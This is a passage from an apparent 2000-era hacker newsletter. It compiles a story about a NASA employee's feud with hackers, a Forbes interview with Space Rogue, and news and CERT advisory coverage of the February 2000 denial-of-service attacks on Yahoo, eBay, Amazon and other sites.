seals." (Mitnick finished a five-year prison sentence last month.)
Dyson sympathized with Hagis' anticommercial sentiment but thought it
silly to make the point on a NASA site. In his digital diatribe, he said
it wasn't "what real hacking is about" and dared them to attack a
commercial site.
Instead, Hagis attacked him, prying into Dyson's home page on the Web to
rewrite his broadside to say: "You guys are elite" (deleting "lame").
Dyson restored his page, and the intruders revised his directory file
names to read: "You will pay for your stupidity." Dyson retorted:
"Can't you stand free speech?"
Evidently not. The hackers retaliated by taking down the Internet firm
that provided Dyson's access. They planted a "poison pill" that deleted
everything on the network. The firm, Nyx, had to shut down for two weeks
to fix it.
Dyson surfed hacker chat rooms and e-mail lists, asking where he might
find "u4ea" and "tr0ut." He didn't go to the police. "They have no
freaking clue." Things quieted down, but he started buying guns, including
a 9mm Intratec pistol, a .45, a shotgun and a .357 Magnum.
In September 1997 Hagis hit Yahoo, and Dyson worried he would be next.
Three months later his home and home-business phones were disconnected.
The phone company said someone had ordered the cutoff; it wasn't Jay
Dyson.
Then u4ea and tr0ut struck again, breaking into the online account of
Dyson's wife, Kathleen, at the California Institute of Technology. They
left her a message: "All the Dyson family will pay for the mistakes of Big
Jay."
This frightened her. Kathleen began to cry for hours on end, and the
couple bickered constantly over Dyson's relentless pursuit of the hackers.
She ended up on disability, "due in no small part to the harassment," he
claims.
But he refused to end his digital jihad. In January 1998 tr0ut and u4ea
cracked into a second Internet-access firm that Dyson uses, PacificNet.
This time they sabotaged Dyson's home business site, Point-2-Point
Presence, a Web design firm, deleting files. As Dyson took to the
keyboard to make repairs, they brazenly messaged him "live," slipping back
in through the access firm's Unix operating system.
Dyson asked what they wanted. "Stand on one leg, hop up and down three
times and say 'Hagisrules!'three times," they commanded. "Done," Dyson
typed back. He was trying to keep the hackers online long enough for
PacificNet to trace them. It did not work.
The next day Dyson reported the incidents to NASA. He was ordered to
ignore Hagis. "All I ever wanted was to work for NASA, and they tell me if
I wanted to keep the job I love, I'd have to turn the other cheek,"Dyson
fumes. He dropped the case at work, "but redoubled my efforts on my
own time."
Stephen Nesbitt, a director in NASA's Computer Crimes Division, says the
feud isn't an agency concern and suggests Dyson should call the FBI.
The only time the law intervened, Dyson says, was when FBI agents paid him
a visit last August while investigating the hack of the New York Times Web
site almost a year earlier. Somehow Dyson, in his surfing of hacker sites,
had drawn their attention. They accused him of being "Sidekick
Slappy," a member of Hacking for Girlies, the gang that took down the
Times site. (Those who know Sidekick Slappy say this: Jay Dyson is no
Sidekick Slappy.)
Meanwhile, his marriage crumbled. Dyson's obsession alienated his wife,
and in June 1998 they separated. "My wife wanted to run and hide, and I
wanted to fight," Dyson says. They later divorced; she declines to talk
about it.
Feeling alone, Dyson started smoking and losing weight--more than 50
pounds in five months, 100 pounds eventually. Some NASA colleagues say he
should have dropped it. "Jay kept kicking at this beehive, then wondering
why he kept getting stung," says one.
Then came an arrest in the NASA hack. In April 1998 the Royal Canadian
Mounted Police in Sudbury, Ontario, arrested Jason Mewhiney, now 23, and
charged him with 46 counts of criminal mischief, illegal entry and other
charges. Mewhiney's hacker handle: tr0ut, police said. He pleaded
guilty last month to 12 counts and now is serving six months in jail. Says
Dyson: "He's fortunate the law got there first."
Online, tr0ut was malicious. In jail, Jason Mewhiney is clean-cut and
"very shy--until you put him in front of a computer," says Corporal Alain
Chabot, one of the arresting officers. "Sometimes these kids are Einsteins
in front of their screens, but drop them off downtown without a bus
map, and they're helpless."
Dyson's other nemesis, u4ea, is still at large. Word in the hacker
underground is that u4ea is a mole, but an FBI spokeswoman denies it and
says an investigation continues. Dyson believes he has traced u4ea's
identity to that of a young man in the Washington area, but he isn't
handing that information to the FBI. Dyson wants to exact his own revenge.
"I have no intention of dragging u4ea to the authorities," he says,
fingering his .45. "This is strictly between him and me. I will do
whatever it takes to see this end come
about."
@HWA
114.0 HNN: Feb 8th; Space Rogue Profiled by Forbes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Space Rogue
An interesting question and answer session between
Adam Penenberg of Forbes magazine and Space Rogue,
editor of the Hacker News Network.
Forbes
http://www.forbes.com/columnists/penenberg/index.htm
Adam Penenberg is a senior editor at Forbes magazine and a regular
contributor to the Forbes Digital Tool.
I first met Space Rogue, founder of Hacker News Network (HNN), at
Defcon, the annual hacker/undercover agent convention held in Las Vegas.
Sipping beer and sweating from the Nevada heat, we sat next to each
other at a seminar on social engineering--how to trick people into
passing you information.
Afraid of potential legal ramifications, Defcon organizers had banned
media from the event, but unlike Space Rogue, I wasn't sporting press
credentials; I figured that would be like putting a big "kick me" sign
on my butt. While a geek on stage tried to dupe a Microsoft tech
support operator, a Wired News reporter was ejected from the hall. Then
the bouncer turned on us.
"You have to leave," he commanded Space Rogue, fingering his press
pass. "You," he said, pointing at me, "can stay."
"But I'm Space Rogue," said Space Rogue, turning his badge around to
show the HNN sticker he had applied to the back.
"From Hacker News? Sorry, man, you're cool," said the guard.
Everyone in the hacking and computer security world knows Space Rogue.
In 1998, while a member of the L0pht Heavy Industries, a hacker think
tank based in Boston, he testified before the U.S. Senate on the
state of government computer security. He is the publisher of Hacker
News Network, a resource as dear to the cyber-cognescenti as
Merriam-Webster's is to writers. Recently, Space Rogue, along with the
rest of L0pht, joined @Stake, a newly formed Internet security company
funded by the hot venture capital firm Battery Ventures.
As for his real name, well, he won't tell me. But he did tell me a lot
about hobnobbing with senators, cyber-terrorists, white hats, script
kiddies and the reason Hacker News Network doesn't use the word
"hacker."
Q: How did you get into hacking?
A: That's like asking someone how he learned to read. I suppose
my first 'real' hacking experience was with an Osborne 1 and
CPM, when I taught myself BASIC. This was back in 1984. Or maybe
it was earlier than that, when I was a kid making homemade
flashlights out of discarded batteries so I could read at night
when I was supposed to be sleeping. After the Osborne I
graduated to the Commodore 64. I remember the local computer
store sold Elephant floppies for two dollars each. Then came a
Mac SE with dual floppies and 1 megabyte of RAM for $2,000. I
still have that machine and the original box it came in.
Q: Why are the vast majority of hackers male?
A: For the same reason most physicists and mathematicians are
male. Most girls are taught early on that technology is not
feminine, therefore taboo. Society is starting to change,
opening itself up to new acceptable ideologies.
Q: What exactly is L0pht? How did you come up with the name?
A: The original location of L0pht Heavy Industries was in the
loft of an old warehouse in South Boston, where we stored unused
equipment, stuff like a Vax 11/780 that was too big to put in
your house. The Heavy Industries part came from a Japanese anime
film. Somewhere in the movie was company with a name like
Matsasumo Heavy Industries. We wondered, What the hell is a
'Heavy Industry'? But we thought it was cool so it stuck.
Q: What was it like to testify before Congress in 1998?
A: It was a great experience. Everyone we met, from the senators
to the aides, were extremely nice, which we didn't expect.
They even let us use our 'handles,' so the name 'Space Rogue' is
permanently etched into our nation's historical record--which
blows me away when I think about it. We got copies of the
testimony from the government printing office, and it's pretty
amazing to see Space Rogue, Senator Thompson and Senator Glenn
all on the same page.
Getting reimbursed for travel presented a problem as the accounting
office couldn't very well make out a check to 'Space Rogue,' so Senator
Thompson's office arranged it so we could get reimbursed in cash.
Q: Why did you start the Hacker News Network?
A: HNN started as a competition among a small group of friends
to see who could distribute hacker-related news the fastest.
Well, it wasn't really a competition, but I guess I won anyway.
We hope that HNN is providing a service to the community, this
is why it was originally started. In the beginning we were
trying to make money on the site, so we carried advertising.
This sort of went against the old-school hacker mentality, but
we weren't trying to get rich; we just wanted to make the site
self-sustaining. Since L0pht's merger with @Stake, we will be
removing thoseads completely over time. It is important for
@Stake to remain completely vendor-neutral, and advertising
doesn't allow us to do that.
Q: What is @Stake and why is it unique among Internet security
consultancies? What is your relationship to @Stake?
A: I am an employee of @Stake--actually I think my business
cards say 'Research Scientist,' and yes, they also say
Space Rogue. I honestly think @Stake is really going to shake up
the industry; I mean look at what L0pht has been able to
accomplish. Everything the eight of us did was basically as a
part-time endeavor with no funds. Take L0pht to the next
level--full-time staff, corporate muscle, some new
technology--and what do you get? You get @Stake.
Q: What is the greatest misperception about hackers?
A: The general public seems to think that hackers equal
criminals. I suppose depending on your definition of the word
that may be true, although it is definitely not my definition.
Because there are so many definitions of the word, HNN has
stopped using the words hacker and cracker altogether, because
it does not matter in what context I use the word, someone will
send me mail and tell me its wrong. This is kind of ironic,
since this is supposed to be the 'Hacker' News Network.
Q: What is a 'white hat' hacker, and what is a 'script kiddie?
A: Again the definitions vary, but in general a white hat hacker
is someone who uses hacking methodologies and techniques but
doesn't break the law. A 'script kiddie' is an old word in the
underground that is just now becoming popular in the mainstream
media. It describes someone who uses prewritten scripts to
exploit security vulnerabilities, instead of coding his
own--like an armed robber who knows nothing of ballistics or
expanding gas theory, but knows how to pull a trigger.
Q: Why should companies hire hackers? How could they ever trust
them?
A: Companies already hire hackers, they just don't know it. I
mean, there is no national hacker registry to check on someone's
hacker status. Any company that comes out and says 'We do not
hire hackers' is deluding itself. We have to work somewhere, and
more often than not we work at jobs that have cool technology.
Of course, criminals should not be trusted or hired. But
hackers, according to my definition, should be hired by every
company. Any employee who has an innate curiosity about the
systems he, or she, is working with, and who will not sleep
until problems are solved, would benefit any business.
Q: Is cyber-terrorism a real threat, or is it all hype?
A: When we testified before Congress about being able to disable
the Internet, a lot of people thought we were joking.
Afterwards we received a lot of e-mail asking, "Hey, is this how
it's done?'" We were like, well, that's not the method we
thought of, but yeah that'd work. Of course, we have no
motivation to take down the Internet; it's where we live and
play and earn a living, so why would we destroy it?
That said, governments are definitely hyping the threat of cyber-terrorism.
While a threat does exist, I don't think it's as bad as some officials would
lead you to believe. The scary part is governments are jockeying for position
in the next 'cyberwar.' Over the last couple of years nations have been beefing
up their cyber defenses. Defense is good; I have no problem with defense. But
countries seem to be preparing offensive cyber capabilities. Offense often
begets defense, so the escalation begins. And what happens when military
offensive capabilities start to trickle down into the private sector?
Now that is a scary thought.
@HWA
115.0 HNN: Feb 9th: Yahoo, Buy.com, Amazon, E-Bay, CNN, UUNet, Who's Next?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Space Rogue
The Day the Internet Melted
Monday's Denial of Service attack on Yahoo was
repeated yesterday afternoon at Buy.com and quickly
followed by attacks on Amazon, E-Bay, CNN and
possibly even UUNet. Most of the sites where able to
block the attack and where back online within an hour
or two. The San Francisico office of the FBI has opened
an investigation into the attack on Yahoo however it is
unknown how far the investigation has gotten at this
point. Some of the effected companies have also
started their own investigations into how this has
happened. A source close to one of the effected
companies has told HNN that they have been able to
trace the attack back to one end node where they
found a list of up to ten thousand possibly compromised
systems.
E-Bay System Status
http://www2.ebay.com/aw/announce.shtml
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2434923,00.html?chkpt=zdhpnews01
CNNfn
http://cnnfn.com/2000/02/08/technology/yahoo/
CBS
http://cbs.marketwatch.com/archive/20000208/news/current/buyx_attack.htx?source=htx/http2_mw
C|Net
http://news.cnet.com/news/0-1007-201-1545383-0.html?tag=st.ne.1002.tgif?st.ne.fd.gif.d
Bloomberg
http://quote.bloomberg.com/fgcgi.cgi?ptitle=Top%20Financial%20News&s1=blk&tp=ad_topright_topfin&T=markets_bfgcgi_content99.ht&s2=blk&bt=blk&s=d71082934889b6a780eecbacbb10e177
CNN
http://cnn.com/2000/TECH/computing/02/09/cyber.attacks.01/index.html
Wired
http://www.wired.com/news/business/0,1367,34203,00.html
Wired
http://www.wired.com/news/business/0,1367,34221,00.html
Associated Press - via Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500165399-500209859-500970793-0,00.html
Reuters - via Yahoo
http://dailynews.yahoo.com/h/nm/20000209/bs/tech_hackers_2.html
Distributed Denial of Service attacks, DDoS
Distributed Denial of Service attacks aren't new, they
have been around for a while. The basic premise is to
use a larger number of systems to request information
from a single server, similar to a radio call in contest
where potential contestants get busy signals. Seldom is
data lost or access inside the targeted systems gained,
however visitors to the site are prevented from
accessing data. The large number of systems used to
launch the attack can easily be controlled by one
person.
The CERT Coordination center held a workshop
concerning this type of attack back at the beginning of
November.
Results of Distributed-Systems Intruder Tools Workshop
http://www.cert.org/reports/dsit_workshop.pdf
CERT has also released a couple of advisories warning
system administrators about the dangers of this kind of
attack.
CERT Advisory CA-99-17 Denial-of-Service Tools
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html
CERT Advisory CA-2000-01 Denial-of-Service
Developments
http://www.cert.org/advisories/CA-2000-01.html
CNN:
More sites hacked in wake
of Yahoo!
eBay, Buy.com, CNN.com and Amazon
come under attack; FBI probes Yahoo!
incident
By Staff Writer David Kleinbard
February 08, 2000: 8:19 p.m. ET
NEW YORK (CNNfn) - The Internet was reeling Tuesday night as attacks by
hackers on a number of high-profile Web sites continued.
In the early evening Tuesday, CNN.com confirmed that it was the latest site
to suffer.
"At 7 p.m. EST, we were attacked by hackers. A denial of service attack
occurred until 8:45 p.m. We were seriously affected. We were serving content
but it was very inconsistent and very little," Edna Johnson, director of public
relations for CNN Interactive, said in a statement.
"By 8:45 p.m., our upstream providers had put blocks in place that are
shielding us and we are now serving content."
CNN.com and CNNfn.com are both owned by Time-Warner Inc. (TWX:
Research, Estimates).
The leading auction Web site eBay and the Internet-based discount retailer
Buy.com were crippled Tuesday by outside attacks.
And online retailing giant Amazon also came under siege late Tuesday.
Amazon.com Inc.'s (AMZN: Research, Estimates) Web site was virtually
shut down Tuesday with problems that appeared similar to the failures that
have hit other popular Web sites in recent days.
Amazon said in a statement that its site was inaccessible for more than one
hour late Tuesday because a "large amount of junk traffic" was aimed at the
company's computers, tying them up and preventing nearly all its customers
from making purchases.
FBI investigates Yahoo! attack
The incidents on Tuesday at Buy.com (BUYX: Research, Estimates) and
eBay Inc.(EBAY: Research, Estimates). came one day after a hacker
onslaught knocked Yahoo!'s heavily trafficked web site out of service for about
three hours. Yahoo! (YHOO: Research, Estimates) said that it is cooperating
with the FBI and other law enforcement agencies in an investigation of who
perpetrated the cyber attack.
Tuesday's attack, which hit Buy.com around 11 a.m., came on the same
day that the company did its initial public offering. The Aliso Viejo, Calif.-based
seller of books, computer hardware, software, videos, and other items sold 14
million shares at $13 each, raising $182 million. Buy.com's stock finished the
day at 25 1/8, up 93 percent, despite the incident.
"Around 11 a.m., we got hammered, and as a result had some difficulty
getting the site back up," Buy.com's CEO, Gregory Hawkins, said in a
televised interview with CNNfn. Hawkins said Buy.com is working with the
company that hosts its web sites, Exodus Communications Inc., to determine
how the attack occurred.
Hawkins said that Buy.com appears to be the victim of the same type of
cyber attack that crippled Yahoo! Inc.'s web site for about three hours on
Monday. Yahoo!, the Internet portal based in Santa Clara, Calif. that is the
world's most heavily trafficked web site, was shut down by what web security
experts call a "denial of service attack." In that form of assault, a company's
web servers are hit with such a large number of bogus requests that they
cannot provide information to the site's legitimate users. It's like flooding a road
with so many cars that other vehicles can't get through.
eBay, a San Jose Calif.-based site where individuals buy and sell millions
of diverse items each day, placed a notice on its site around 3:20 p.m. Pacific
Standard Time that it had come under what appeared to be a denial of service
attack generated by outside sources.
"The attack appears to be affecting only the site's static pages, not its
bidding, listing, and search functions," said eBay spokeswoman Kristin Seuell.
"However, we have heard reports from the East Coast that people are having
difficulty accessing the site." Static pages are those containing information that
remains the same at all times.
Internet security experts predicted on Tuesday that other commercial web
sites will be hit by denial of service attacks in the future, even before they knew
about the Buy.com incident.
"There hasn't been a global solution yet to this problem," said Chris
Rouland, director of the security research team at Internet Security Systems
(ISSX: Research, Estimates) in Atlanta, Georgia, a major security software
and consulting company. "If hackers can shut down Yahoo!, they can shut
down anything they want tomorrow."
Security experts were surprised that Yahoo! could be crippled by
outsiders because the company's site has a reputation for having a high level of
security and reliability. In fact, Tuesday's incident was Yahoo!'s first significant
service interruption.
"The Yahoo! web site is normally among the fastest and most reliable on
the Internet," said Gene Shklar, vice president of public services at Keynote
Systems Inc., (KEYN: Research, Estimates) a San Mateo, Calif. company that
measures the performance and reliability of e-commerce web sites. "Yahoo!
consistently delivers its home page during business hours in an average of 1.5
seconds to T-1 connected locations around the U.S. with a reliability of 99.3
percent or better."
Keynote's stock soared 17 1/16 to 113 9/16 Tuesday, apparently in
response to the media attention from Yahoo!'s service interruption. Yahoo!'s
stock rose 19 1/8 to 373 1/8, as investors and analysts seemed pleased by the
speed with which Yahoo! was able to recover from the attack.
Lise Buyer, an analyst at CS First Boston, said in a research report
Tuesday that the incident should have no impact on Yahoo!'s bottom line.
"Given unused capacity and rapidly increasing pageviews, we expect the
company will have no trouble making good on any advertising impression
commitments. Therefore, we expect no impact on the company's operating
statistics," Buyer said.
Yahoo! said Tuesday that it has been contacted by law enforcement
agencies, including the FBI, that are investigating the incident.
"We are doing our part to work with the authorities by gathering the
electronic tracers and data available," a Yahoo! spokeswoman said. "We will
be sitting down with them over the next few days to discuss the appropriate
next steps. The FBI is one group we anticipate meeting with."
Yahoo! has dense layers of encryption that protect the databases on its
site. Yahoo!'s customer information and site data weren't compromised by the
attack, a company spokeswoman said Monday.
Yahoo! said that the bogus requests came from up to 50 different Internet
addresses at rates of up to a gigabyte per second, which is considered to be
an enormous amount of web traffic over a short period of time.
The history of the problem
Denial of service attacks aren't new. In fact, both the FBI and CERT
issued public warnings about them last year. CERT is part of the Software
Engineering Institute, a federally funded research and development center at
Carnegie Mellon University. Just a few hours before the attack on Yahoo!
began, denial of service attacks were discussed at a meeting of the North
American Network Operators' Group, one of the main organizations for the
supervisors of computer networks.
"Denial of service attacks occur periodically, but they are not as common
as people trying to hack into a site, since hacking in enables you to alter the
site's content and post something for everyone to see," Keynote's Shklar said.
Internet Security Systems' Rouland said that there are four popular denial
of service attacks, called Tribal Flood Network, Trinoo, TFN2K, and
Stacheldraht. Hackers plan the attack in two stages. First, they surreptitiously
place software "agents" on a network of computers that may have no
connection to their actual target. Once these agents are in place, the hackers
can direct all of the bandwidth capacity of that network at a target web site.
"A master command wakes up the agents, identifies the target, and says
go for it," Rouland said. Because these agents are installed using a backdoor
method, they can be difficult to find, he said.
Software that can trigger a denial of service attack is commonly traded by
hackers over the Internet, said Scott Gordon, director of intrusion detection
products at Axent Technologies (AXNT: Research, Estimates) in Rockville,
Md., another large Internet security firm. These programs include Ping of Death
and SynFlood.
"It's a safe bet that other significant sites will be hit by this type of
attack," Gordon said. "It may be done for boasting rights or financial gain
through data theft."
The FBI and the Secret Service have joint responsibility for investigating
computer crimes. Large cases are coordinated by the FBI's National
Infrastructure Protection Center. Scott Charney, a principal at
PricewaterhouseCoopers Investigations LLC in D.C., who used to run the
Justice Department's computer crimes unit, said that it could be difficult to
trace who originated the attack on Yahoo!. That's because hackers often direct
their traffic through several different web sites before hitting their end target.
"Sophisticated hackers don't attack in a straight line," Charney said.
"They weave between sites. If one of these sites strips off the source
information and throws it away, there can be a break in the chain for
investigators."
"Global connectivity, lots of open sites, poor security at some, and lack of
tracing ability create an environment where if you are up to no good, you can
flourish," Charney said.
-- Reuters and the Associated Press contributed to this report
-=-
Wired #1
Was Yahoo Smurfed or Trinooed?
by Declan McCullagh
1:10 p.m. 8.Feb.2000 PST
Yahoo's agonizing three-hour crash was the most devastating reported
attack of its kind in the history of the Net, but it won't be the last.
Company officials said as-yet-unknown miscreants laid siege to the
Internet's second most popular destination at about 10:30 a.m. PST Monday,
snarling Yahoo's internal network and denying millions of visitors access
to mail, schedules, and the directory service.
What's particularly disturbing: There may not have been anything Yahoo
could have done to prevent it.
Any Web site is vulnerable to so-called denial of service (DoS)attacks,
which have grown considerably more fearsome recently. Although their
methods vary, all attempt to clog the networks of the company that's being
targeted, sometimes with devastating effect.
"What we're seeing is adolescent pranks going mainstream," says MIT
network manager Jeff Schiller. "This is the electronic equivalent. It just
has much more far-reaching impact."
DoS attacks are a particular favorite of malcontents, since they can be
done somewhat anonymously and since they require little technical skill.
Some, like "smurfing" and "fragging," are named after the software that
conducts the exploit.
They've long been used to cripple Internet Relay Chat and other
low-profile sites -- Wired News reported on one incident in January 1998.
But they can also be used to assail even some of the best-defended
corporations, something that's not exactly heartening to the
millions of people who now rely on the Web for calendars, scheduling, and
email.
One popular attack is called "smurfing." It works this way: A perpetrator
sends a stream of "echo" response-requests and pretends they're coming
from the victim's computer. The multipled replies overwhelm the targeted
network. They also cause havoc inside the broadcasting (aka smurf
amplifying) computers that were used as unwitting reflectors.
Depending on the size of the intermediate network, a clever attacker can
easily increase the muscle of his assault. A 768 Kb/s stream of echo
packets multipled by a broadcast network with 100 machines can generate a
76.8 Mb/s flood directed against the target -- more than enough to
overwhelm any single computer.
The good news is that defenses against this kind of assault are
well-known. Computers can be modified to ignore echo requests. Cisco and
3Com have both released instructions to turn off broadcasting of them, and
Internet Engineering Task Force RFC2644 says echo requests "must" be
disabled in routers by default. Since "smurf" attacks became well-known in
1997, their threat seems to have decreased. One report says, "We have seen
a reduction in average bandwidth used on a smurf attack from 80 Mbps to 5
Mbps. Additionally, there has been a [50 percent] reduction in the number
of noticeable smurf attacks."
But others have evolved to take their place. A December 1999 advisory from
Carnegie Mellon University's Computer Emergency Response Team describes
trinoo and Tribe Flood Network (TFN) -- two programs that perform the kind
of distributed denial of service attacks Yahoo said it experienced
on Monday.
The design is astonishingly clever and simple. The idea: Instead of a
single site launching an echo-packet-augmented attack, a large network can
assault a target in a coordinated and much more destructive manner.
Both trinoo and TFN rely on a master "handler" computer that signals a
network of slave "agent" machines when it's time to start an attack. The
human perpetrator must have already installed the trinoo or TFN daemons on
the dozens -- or even hundreds -- of machines that will participate.
The remedy is simple, as long as everyone does it: Besides the
long-standing defenses against "smurf" attacks, system administrators
should look for hidden copies of trinoo or TFN binaries squirreled away
that might attack a remote site like Yahoo when called into action.
Even newer programs have emerged that have in part replaced TFN, which
seemed to have peaked in popularity around September 1999. Some of the
more recent ones include stacheldraht -- German for "barbed wire" -- and
an upgraded TFN2000.
The threat prompted CERT to release an advisory last month. Stacheldraht
agents have been spotted on Solaris machines, and a version appears to be
available for Linux as well. One big difference -- or improvement, if
you're the person using it -- is that stacheldraht uses encrypted
communications to cloak its intentions from administrators who might be
monitoring the network.
In response, the federal government has become more involved. An alphabet
soup of agencies, including the FBI's National Infrastructure Protection
Center, the Critical Infrastructure Assurance Office, and FedCIRC are
asking Congress for money and promising to defend the Net.
But companies that have invented the technology that runs the Net don't
seem to need help in fixing problems with it. A Yahoo source close to the
problem told Wired News that they hadn't contacted the Feds during their
trouble yesterday because it would do no good.
Some measures the government is contemplating -- like increased
surveillance of the Internet to snare wayward hackers -- alarms civil
libertarians. The Electronic Privacy Information Center recently released
documents it obtained that talk of increased electronic monitoring
of Americans.
"We have Feds that are overreacting to this," says MIT's Schiller, a
member of the IETF steering committee.
What needs to happen is for outdated rules to be repealed, he said.
"There needs to be a way network operators can [work together] in a way
that's immune from Sherman antitrust," he said. "We had a situation at
IETF where we couldn't have two people in the same room together by
themselves since they were representatives of big competitors."
President Clinton's budget released Monday calls for sharply increased
spending on computer security.
-=-
Wired #2
Yahoo on Trail of Site Hackers
Reuters
3:50 p.m. 8.Feb.2000 PST SAN FRANCISCO -- Yahoo said Tuesday it was
meeting with the FBI to track down hackers who brought its site to a
standstill Monday, although the company expects no financial impact from
the incident.
"From a financial standpoint, there isn't any impact," said a Yahoo
spokeswoman. The company's stock surged 19-1/8 to 373-1/8 along with a
generally stronger Nasdaq market led by the Internet sector, as investors
ignored the technical problem at the site.
Yahoo (YHOO), which generates much of its revenue through advertising, was
able to reschedule its ad spots to other positions without a significant
loss of revenue, the company said. But since an estimated 100 million
pages would have been viewed during the two hours the site was down,
the company could potentially have lost as much as $500,000, analysts
said.
"We were contacted by the authorities regarding the situation that
occurred yesterday and we are doing our part to work with them," said the
Yahoo spokeswoman.
The company is gathering electronic data and attempting to trace the
source of the flood of messages that swamped its site and led to its
virtual shutdown. Yahoo declined to identify all of the authorities who
were involved in the probe, but said specifically that the FBI was
included.
"We will be sitting down with them over the next few days to discuss the
appropriate next steps," the company said.
The attack has been narrowed to 50 Internet addresses, though computer
security experts said it would take time to track any hacker or hackers
sophisticated enough to have shut down Yahoo, one of the largest Internet
sites.
The attack is called a distributed denial of service attack, which is a
concerted move to inundate a Web site from many points. The attackers
disguise their identities by going though a series of networks and using
other computers to do damage. Since computer programs are used, a
single person could have launched the attack, even though it appears to be
coming from many directions.
"The FBI may be able to do some back-tracking and coordination to find out
who did this," said Scott Gordon, director of intrusion protection at
Axent Technologies (AXNT), of Rockville, Maryland.
But investigators need to go behind the target computers to find the
command center that directed the attack and, "we're not going to get an
answer in the very near future," Gordon said.
Investigators noted that computer security services have been warning for
some time about attacks like the one launched on Yahoo. The protection, in
such cases, is to find the source of the problem and put a block on the
Internet address from entering the site. The blocker, known as a
"rate filter" is aimed at putting a halt to the "mock traffic" that is
jamming the target site.
Yahoo installed that protection soon after the attack was launched and
restored normal service by early afternoon. Service was normal on the
site Tuesday, a spokeswoman said.
Copyright © 1999-2000 Reuters Limited.
-=-
CERT:
CERT® Advisory CA-99-17 Denial-of-Service Tools
Original release date: December 28, 1999, 15:00 EST (GMT -0500)
Last Updated: December 28, 1999, 20:00 EST (GMT -0500)
Source: CERT/CC
A complete revision history is at the end of this file.
Systems Affected
All systems connected to the Internet can be affected by
denial-of-service attacks. Tools that run on a variety of UNIX and
UNIX-like systems and Windows NT systems have recently been released
to facilitate denial-of-service attacks. Additionally, some MacOS
systems can be used as traffic amplifiers to conduct a
denial-of-service attack.
I. Description
New Distributed Denial-of-Service Tools
Recently, new techniques for executing denial-of-service attacks have been
made public. A tool similar to Tribe FloodNet (TFN), called Tribe FloodNet
2K (TFN2K) was released. Tribe FloodNet is described in
http://www.cert.org/incident_notes/IN-99-07.html#tfn.
Like TFN, TFN2K is designed to launch coordinated denial-of-service attacks
from many sources against one or more targets simultaneously. It includes
features designed specifically to make TFN2K traffic difficult to recognize
and filter, to remotely execute commands, to obfuscate the true source of
the traffic, to transport TFN2K traffic over multiple transport protocols
including UDP, TCP, and ICMP, and features to confuse attempts to locate
other nodes in a TFN2K network by sending "decoy" packets.
TFN2K is designed to work on various UNIX and UNIX-like systems and Windows
NT.
TFN2K obfuscates the true source of attacks by spoofing IP addresses. In
networks that employ ingress filtering as described in [1], TFN2K can forge
packets that appear to come from neighboring machines.
Like TFN, TFN2K can flood networks by sending large amounts of data to the
victim machine. Unlike TFN, TFN2K includes attacks designed to crash or
introduce instabilities in systems by sending malformed or invalid packets.
Some attacks like this are described in
http://www.cert.org/advisories/CA-98-13-tcp-denial-of-service.html
http://www.cert.org/advisories/CA-97.28.Teardrop_Land.html
Also like TFN, TFN2K uses a client-server architecture in which a single
client, under the control of an attacker, issues commands simultaneously to
a set of TFN2K servers. The servers then conduct the denial-of-service
attacks against the victim(s). Installing the server requires that an
intruder first compromise a machine by different means.
Asymmetric traffic from MacOS 9
MacOS 9 can be abused by an intruder to generate a large volume of traffic
directed at a victim in response to a small amount of traffic produced by
an intruder. This allows an intruder to use MacOS 9 as a "traffic
amplifier," and flood victims with traffic. According to [3], an intruder
can use this asymmetry to "amplify" traffic by a factor of approximately
37.5, thus enabling an intruder with limited bandwidth to flood a much
larger connection. This is similar in effect and structure to a "smurf"
attack, described in
http://www.cert.org/advisories/CA-98.01.smurf.html
Unlike a smurf attack, however, it is not necessary to use a directed
broadcast to achieve traffic amplification.
II. Impact
Intruders can flood networks with overwhelming amounts of traffic or cause
machines to crash or otherwise become unstable.
III. Solution
The problem of distributed denial-of-service attacks is discussed at length
in [2], available at
http://www.cert.org/reports/dsit_workshop.pdf
Managers, system administrators, Internet Service Providers (ISPs) and
Computer Security Incident Response Teams (CSIRTs) are encouraged to read
this document to gain a broader understanding of the problem.
For the ultimate victim of distributed denial-of-service attacks
Preparation is crucial. The victim of a distributed denial-of-service
attack has little recourse using currently available technology to respond
to an attack in progress. According to [2]:
The impact upon your site and operations is dictated by the
(in)security of other sites and the ability of of a remote attackers
to implant the tools and subsequently to control and direct multiple
systems worldwide to launch an attack.
Sites are strongly encouraged to develop the relationships and capabilities
described in [2] before you are a victim of a distributed denial-of-service
attack.
For all Internet Sites
System and network administrators are strongly encouraged to follow the
guidelines listed in [2]. In addition, sites are encouraged to implement
ingress filtering as described in [1]. CERT/CC recommends implementing such
filtering on as many routers as practical. This method is not foolproof, as
mentioned in [1]:
While the filtering method discussed in this document does absolutely
nothing to protect against flooding attacks which originate from valid
prefixes (IP addresses), it will prohibit an attacker within the
originating network from launching an attack of this nature using
forged source addresses that do not conform to ingress filtering
rules.
Because TFN2K implements features designed specifically to take advantage
of the granularity of ingress filtering rules, the method described in [1]
means that sites may only be able to determine the network or subnet from
which an attack originated.
Sites using manageable hubs or switches that can track which IP addresses
have been seen at a particular port or which can restrict which MAC
addresses can be used on a particular port may be able to further identify
which machine(s) is responsible for TFN2K traffic. For further information,
consult the documentation for your particular hub or switch.
The widespread use of this type of filtering can significantly reduce the
ability of intruders to use spoofed packets to compromise or disrupt
systems.
Preventing your site from being used by intruders
TFN2K and similar tools rely on the ability of intruders to install the
client. Preventing your system from being used to install the client will
help prevent intruders from using your systems to launch denial-of-service
attacks (in addition to whatever damage they may cause to your systems).
Popular recent attacks can be found at
http://www.cert.org/current/current_activity.html
Sites are encouraged to regularly visit this page and address any issues
found there.
For the "Mac Attack"
Apple has developed a patch, as described in Appendix A. Please see the
information there.
Appendix A contains information provided by vendors for this advisory. We
will update the appendix as we receive or develop more information. If you
do not see your vendor's name in Appendix A, the CERT/CC did not hear from
that vendor. Please contact your vendor directly.
Appendix A. Vendor Information
Apple Computer
OT Tuner 1.0 switches off an option in Open Transport that would cause a
Macintosh to respond to certain small network packets with a large Internet
Control Message Protocol (ICMP) packet. This update prevents Macintosh
computers from being the cause of certain types of Denial of Service (DOS)
issues.
The update is available from our software update server at
http://asu.info.apple.com/swupdates.nsf/artnum/n11559
